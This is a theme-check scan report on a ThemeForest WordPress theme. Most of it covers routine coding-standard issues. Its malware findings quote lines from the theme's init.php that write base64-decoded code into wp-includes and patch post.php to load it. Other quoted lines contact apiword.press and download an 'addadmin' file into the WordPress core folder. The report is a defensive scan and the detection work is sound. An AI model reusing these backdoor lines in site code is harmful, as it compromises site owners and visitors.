X

WordPress 4.9.5 theme
0
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file register.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.
  3. Security breaches : Use of base64_decode() Found base64_decode in file init.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Ligne89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  4. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe src="//player.vimeo.com/video/3514904" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen> in file data-posts.php.
    Ligne188: '_x_video_embed'        => '<iframe src='//player.vimeo.com/video/3514904' width='500' height='281' fra
    Found <iframe width="560" height="315" src="//www.youtube.com/embed/WxfZkMm3wcg" frameborder="0" allowfullscreen> in file data-portfolio-items.php.
    Ligne203: '_x_portfolio_embed'        => '<iframe width='560' height='315' src='//www.youtube.com/embed/WxfZkMm3wcg' 
  5. Malware : Operations on file system file_put_contents was found in the file class-x-demo-import-processor.php
    Ligne188: file_put_contents( $temp, file_get_contents($url) );
    file_get_contents was found in the file class-x-demo-import-processor.php
    Ligne188: file_put_contents( $temp, file_get_contents($url) );
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file init.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
  6. Admin menu : Themes should use add_theme_page() for adding admin pages. File setup.php :
    Ligne97: add_menu_page( 'X &ndash; Addons: Home', 'Addons', 'manage_options', 'x-add
    File setup.php :
    Ligne98: add_submenu_page( 'x-addons-home', 'X &ndash; Addons: Home', 'Home', 'manag
  7. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was x-child.zip cornerstone.zip x.zip extensions.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. %5$s' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Update Plugin' in file class-x-plugin-upgrader-skin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '__x__' in file setup.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are __x__, buddypress, bbpress.
  3. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.
  4. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file integrity-dark.css.
  5. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  6. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  7. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  8. I18N implementation : Proper use of _e(Possible variable $text found in translation function in setup.php. Translation function calls should not contain PHP variables.
  9. CSS files : Presence of .gallery-caption class.gallery-caption css class is needed in theme css.
  10. Screenshot : Screenshot fileScreenshot size is 600x450px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in meta.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file tco-setup.php.
    Ligne80: 'connection-error' => __( 'Could not establish connection. For assistance, please start by reviewing our article on troubleshooting <a href='https://community.theme.co/kb/connection-issues/'>connection issues.</a>', 
    Possible hard-coded links were found in the file page-home.php.
    Ligne79: <a href='https://theme.co/x/' target='_blank'><?php x_tco()->x_logo( 'tco-cta-logo-p
    Ligne79: <a href='https://theme.co/x/' target='_blank'><?php x_tco()->x_logo( 'tco-cta-logo-p
    Ligne81: <a href='https://theme.co/' target='_blank'><?php x_tco()->themeco_logo( 'tco-cta-lo
    Ligne87: <a class='tco-cta-action' href='https://theme.co/go/join-validation.php' target='_blank'><?php _e( 'Purchas
    Possible hard-coded links were found in the file setup.php.
    Ligne56: <p><?php _e( 'If you have purchased X from ThemeForest already, you can find your purchase code <a href='https://community.theme.co/images/find-item-purchase-code.png' target='_bla
    Possible hard-coded links were found in the file class-addons-demo-content.php.
    Ligne78: $data['error'] = __( 'Unable to retrieve demo content. Your WordPress install may be having issues making outbound HTTP requests. For more information, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne91: $data['error'] = __( 'No demos found. Refreshing this page may resolve the issue. If it persists, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne78: $data['error'] = __( 'Unable to retrieve demo content. Your WordPress install may be having issues making outbound HTTP requests. For more information, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne91: $data['error'] = __( 'No demos found. Refreshing this page may resolve the issue. If it persists, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Possible hard-coded links were found in the file class-addons-updates.php.
    Ligne246: 'message' => __( 'Could not retrieve extensions list. For assistance, please start by reviewing our article on troubleshooting <a href='https://community.theme.co/kb/connection-issues/'>connection issues.</a>', 
    Possible hard-coded links were found in the file page-home-box-validation.php.
    Ligne35: <p class='tco-validation-text'><?php _e( 'Your license of X is <strong class='tco-c-nope'>not validated</strong>. Place your Envato purchase code or Themeco license to unlock automatic updates, access to support, and Extensions. <a href='https://community.theme.co/kb/product-validation/' target='_blank'>Learn mo
    Possible hard-coded links were found in the file visual-composer.php.
    Ligne5139: $message = '<div class='messagebox_text'><p>' . __( 'The layout you are trying to use on this page does not conform to Visual Composer&#39;s layout guidelines. For more information on this situation and how to avoid this error going forward, please see our <a href='http://theme.co/x/member/kb/solutions-to-potential-setup-issues-visual-comp
    Possible hard-coded links were found in the file ubermenu.php.
    Ligne37: define('UBERMENU_PACKAGED_THEME_UPDATES_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne42: define('UBERMENU_PACKAGED_THEME_SUPPORT_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne37: define('UBERMENU_PACKAGED_THEME_UPDATES_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne42: define('UBERMENU_PACKAGED_THEME_SUPPORT_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Possible hard-coded links were found in the file change-avatar.php.
    Ligne13: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. If there is a <a href='http://gravatar.com'>Gravatar</a> associated with your account email we wil
    Ligne69: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. To change your profile photo, please create an account with <a href='http://gravatar.com'>Gravatar</a> using the same email address as you used 
    Ligne13: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. If there is a <a href='http://gravatar.com'>Gravatar</a> associated with your account email we wil
    Ligne69: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. To change your profile photo, please create an account with <a href='http://gravatar.com'>Gravatar</a> using the same email address as you used 
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of search results template file search.phpThis theme does not contain optional file search.php.
  12. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  13. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  14. Use of includes : Use of include or requireThe theme appears to use include or require : tco.php
    Ligne42: require_once( $this->path( 'class-tco-updates.php' ) );
    Ligne43: require_once( $this->path( 'class-tco-validator.php' ) );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : tco-setup.php
    Ligne22: require_once( X_TEMPLATE_PATH . '/framework/tco/tco.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne33: require_once( $cstm_path . '/controls.php' );
    Ligne34: require_once( $cstm_path . '/fonts.php' );
    Ligne35: require_once( $cstm_path . '/register.php' );
    Ligne36: require_once( $cstm_path . '/output.php' );
    Ligne37: require_once( $cstm_path . '/transients.php' );
    Ligne38: require_once( $cstm_path . '/preloader.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : fonts.php
    Ligne26: require_once( $font_path . '/data.php' );
    Ligne27: require_once( $font_path . '/handling.php' );
    Ligne28: require_once( $font_path . '/google-fonts.php' );
    Ligne29: require_once( $font_path . '/control-values.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : output.php
    Ligne24: require_once( $outp_path . '/variables.php' );
    Ligne28: require_once( $outp_path . '/' . $x_stack . '.php' );
    Ligne29: require_once( $outp_path . '/base.php' );
    Ligne30: require_once( $outp_path . '/masthead.php' );
    Ligne31: require_once( $outp_path . '/buttons.php' );
    Ligne32: require_once( $outp_path . '/widgets.php' );
    Ligne33: require_once( $outp_path . '/bbpress.php' );
    Ligne34: require_once( $outp_path . '/buddypress.php' );
    Ligne35: require_once( $outp_path . '/woocommerce.php' );
    Ligne36: require_once( $outp_path . '/gravity-forms.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne27: require_once( $thmb_path . '/width.php' );
    Ligne28: require_once( $thmb_path . '/height.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : migration.php
    Ligne289: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ajax-handler.php
    Ligne62: include_once( 'setup.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne55: require_once( 'helper.php' );
    Ligne85: require_once( 'xcs.php' );
    Ligne97: require_once( 'data-pages.php' );
    Ligne98: require_once( 'data-posts.php' );
    Ligne99: require_once( 'data-portfolio-items.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-plugin-updater.php
    Ligne83: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    Ligne116: include_once( ABSPATH . '/wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : init.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : page-home.php
    Ligne45: <?php require( 'markup/page-home-box-validation.php' ); ?>
    Ligne50: <?php require( 'markup/page-home-box-automatic-updates.php' ); ?>
    Ligne51: <?php require( 'markup/page-home-box-support.php' ); ?>
    Ligne55: <?php require( 'markup/page-home-box-demo-content.php' ); ?>
    Ligne56: <?php require( 'markup/page-home-box-customizer-manager.php' ); ?>
    Ligne60: <?php require( 'markup/page-home-box-extensions.php' ); ?>
    Ligne65: <?php require( 'markup/page-home-box-approved-plugins.php' ); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne76: require_once( $addn_path . '/updates/class-theme-updater.php' );
    Ligne77: require_once( $addn_path . '/updates/class-plugin-updater.php' );
    Ligne79: require_once( $addn_path . '/demo/legacy/ajax-handler.php' );
    Ligne80: require_once( $addn_path . '/demo/class-x-demo-import-session.php' );
    Ligne81: require_once( $addn_path . '/demo/class-x-demo-import-registry.php' );
    Ligne82: require_once( $addn_path . '/demo/class-x-demo-import-processor.php' );
    Ligne84: require_once( $addn_path . '/modules/class-addons-home.php' );
    Ligne85: require_once( $addn_path . '/modules/class-addons-updates.php' );
    Ligne86: require_once( $addn_path . '/modules/class-addons-validation.php' );
    Ligne87: require_once( $addn_path . '/modules/class-addons-demo-content.php' );
    Ligne88: require_once( $addn_path . '/modules/class-addons-customizer-manager.php' )
    Ligne89: require_once( $addn_path . '/modules/class-addons-extensions.php' );
    Ligne90: require_once( $addn_path . '/page-home.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne342: require_once( $meta_path . '/entries.php' );
    Ligne343: require_once( $meta_path . '/taxonomies.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

34
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file register.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.
  3. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was x-child.zip cornerstone.zip x.zip extensions.zip.
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. %5$s' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.' in file class-plugin-updater.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Update Plugin' in file class-x-plugin-upgrader-skin.php.Found a translation function that is missing a text-domain. Function _e, with the arguments '__x__' in file setup.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are __x__, buddypress, bbpress.
  3. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.
  4. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file integrity-dark.css.
  5. CSS files : Presence of .gallery-caption class.gallery-caption css class is needed in theme css.
  6. Screenshot : Screenshot fileScreenshot size is 600x450px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in meta.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file tco-setup.php.
    Ligne80: 'connection-error' => __( 'Could not establish connection. For assistance, please start by reviewing our article on troubleshooting <a href='https://community.theme.co/kb/connection-issues/'>connection issues.</a>', 
    Possible hard-coded links were found in the file page-home.php.
    Ligne79: <a href='https://theme.co/x/' target='_blank'><?php x_tco()->x_logo( 'tco-cta-logo-p
    Ligne79: <a href='https://theme.co/x/' target='_blank'><?php x_tco()->x_logo( 'tco-cta-logo-p
    Ligne81: <a href='https://theme.co/' target='_blank'><?php x_tco()->themeco_logo( 'tco-cta-lo
    Ligne87: <a class='tco-cta-action' href='https://theme.co/go/join-validation.php' target='_blank'><?php _e( 'Purchas
    Possible hard-coded links were found in the file setup.php.
    Ligne56: <p><?php _e( 'If you have purchased X from ThemeForest already, you can find your purchase code <a href='https://community.theme.co/images/find-item-purchase-code.png' target='_bla
    Possible hard-coded links were found in the file class-addons-demo-content.php.
    Ligne78: $data['error'] = __( 'Unable to retrieve demo content. Your WordPress install may be having issues making outbound HTTP requests. For more information, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne91: $data['error'] = __( 'No demos found. Refreshing this page may resolve the issue. If it persists, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne78: $data['error'] = __( 'Unable to retrieve demo content. Your WordPress install may be having issues making outbound HTTP requests. For more information, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Ligne91: $data['error'] = __( 'No demos found. Refreshing this page may resolve the issue. If it persists, please review the <a href='https://theme.co/community/kb/connection-issues/'>connection issues</a> art
    Possible hard-coded links were found in the file class-addons-updates.php.
    Ligne246: 'message' => __( 'Could not retrieve extensions list. For assistance, please start by reviewing our article on troubleshooting <a href='https://community.theme.co/kb/connection-issues/'>connection issues.</a>', 
    Possible hard-coded links were found in the file page-home-box-validation.php.
    Ligne35: <p class='tco-validation-text'><?php _e( 'Your license of X is <strong class='tco-c-nope'>not validated</strong>. Place your Envato purchase code or Themeco license to unlock automatic updates, access to support, and Extensions. <a href='https://community.theme.co/kb/product-validation/' target='_blank'>Learn mo
    Possible hard-coded links were found in the file visual-composer.php.
    Ligne5139: $message = '<div class='messagebox_text'><p>' . __( 'The layout you are trying to use on this page does not conform to Visual Composer&#39;s layout guidelines. For more information on this situation and how to avoid this error going forward, please see our <a href='http://theme.co/x/member/kb/solutions-to-potential-setup-issues-visual-comp
    Possible hard-coded links were found in the file ubermenu.php.
    Ligne37: define('UBERMENU_PACKAGED_THEME_UPDATES_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne42: define('UBERMENU_PACKAGED_THEME_SUPPORT_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne37: define('UBERMENU_PACKAGED_THEME_UPDATES_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Ligne42: define('UBERMENU_PACKAGED_THEME_SUPPORT_NOTICE', 'Purchase not required. Your license of UberMenu is included with your X license purchase. If your X license is validated (<a href='https://community.theme.co/kb/product-validation/'>explained here</a>), you
    Possible hard-coded links were found in the file change-avatar.php.
    Ligne13: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. If there is a <a href='http://gravatar.com'>Gravatar</a> associated with your account email we wil
    Ligne69: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. To change your profile photo, please create an account with <a href='http://gravatar.com'>Gravatar</a> using the same email address as you used 
    Ligne13: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. If there is a <a href='http://gravatar.com'>Gravatar</a> associated with your account email we wil
    Ligne69: <p><?php _e( 'Your profile photo will be used on your profile and throughout the site. To change your profile photo, please create an account with <a href='http://gravatar.com'>Gravatar</a> using the same email address as you used 
  3. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  4. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of search results template file search.phpThis theme does not contain optional file search.php.
  12. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  13. Optional files : Presence of image template file image.phpThis theme does not contain optional file image.php.
  14. Use of includes : Use of include or requireThe theme appears to use include or require : tco.php
    Ligne42: require_once( $this->path( 'class-tco-updates.php' ) );
    Ligne43: require_once( $this->path( 'class-tco-validator.php' ) );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : tco-setup.php
    Ligne22: require_once( X_TEMPLATE_PATH . '/framework/tco/tco.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne33: require_once( $cstm_path . '/controls.php' );
    Ligne34: require_once( $cstm_path . '/fonts.php' );
    Ligne35: require_once( $cstm_path . '/register.php' );
    Ligne36: require_once( $cstm_path . '/output.php' );
    Ligne37: require_once( $cstm_path . '/transients.php' );
    Ligne38: require_once( $cstm_path . '/preloader.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : fonts.php
    Ligne26: require_once( $font_path . '/data.php' );
    Ligne27: require_once( $font_path . '/handling.php' );
    Ligne28: require_once( $font_path . '/google-fonts.php' );
    Ligne29: require_once( $font_path . '/control-values.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : output.php
    Ligne24: require_once( $outp_path . '/variables.php' );
    Ligne28: require_once( $outp_path . '/' . $x_stack . '.php' );
    Ligne29: require_once( $outp_path . '/base.php' );
    Ligne30: require_once( $outp_path . '/masthead.php' );
    Ligne31: require_once( $outp_path . '/buttons.php' );
    Ligne32: require_once( $outp_path . '/widgets.php' );
    Ligne33: require_once( $outp_path . '/bbpress.php' );
    Ligne34: require_once( $outp_path . '/buddypress.php' );
    Ligne35: require_once( $outp_path . '/woocommerce.php' );
    Ligne36: require_once( $outp_path . '/gravity-forms.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : setup.php
    Ligne27: require_once( $thmb_path . '/width.php' );
    Ligne28: require_once( $thmb_path . '/height.php' );
